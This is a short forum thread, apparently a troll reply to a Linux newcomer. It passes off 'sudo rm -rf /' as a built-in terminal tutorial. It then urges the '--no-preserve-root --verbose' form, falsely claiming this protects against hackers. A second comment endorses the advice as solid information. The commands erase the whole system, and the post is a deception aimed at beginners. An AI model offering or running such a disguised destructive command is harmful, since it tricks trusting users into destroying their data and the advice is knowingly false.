I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.
It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /Type your password when prompted and you're golden. No more linux issues ever again.
Remember that if you run it as
rootand dont add the flag--no-preserve-rootyou leave your system vunrable to hackers like Anonymous or 4chan until you reboot,I also find that adding
--verboseadds more things like commentary and extras that really helpSo, run
sudo rm -rf --no-preserve-root --verbose/s
All good points.
That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.
It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.
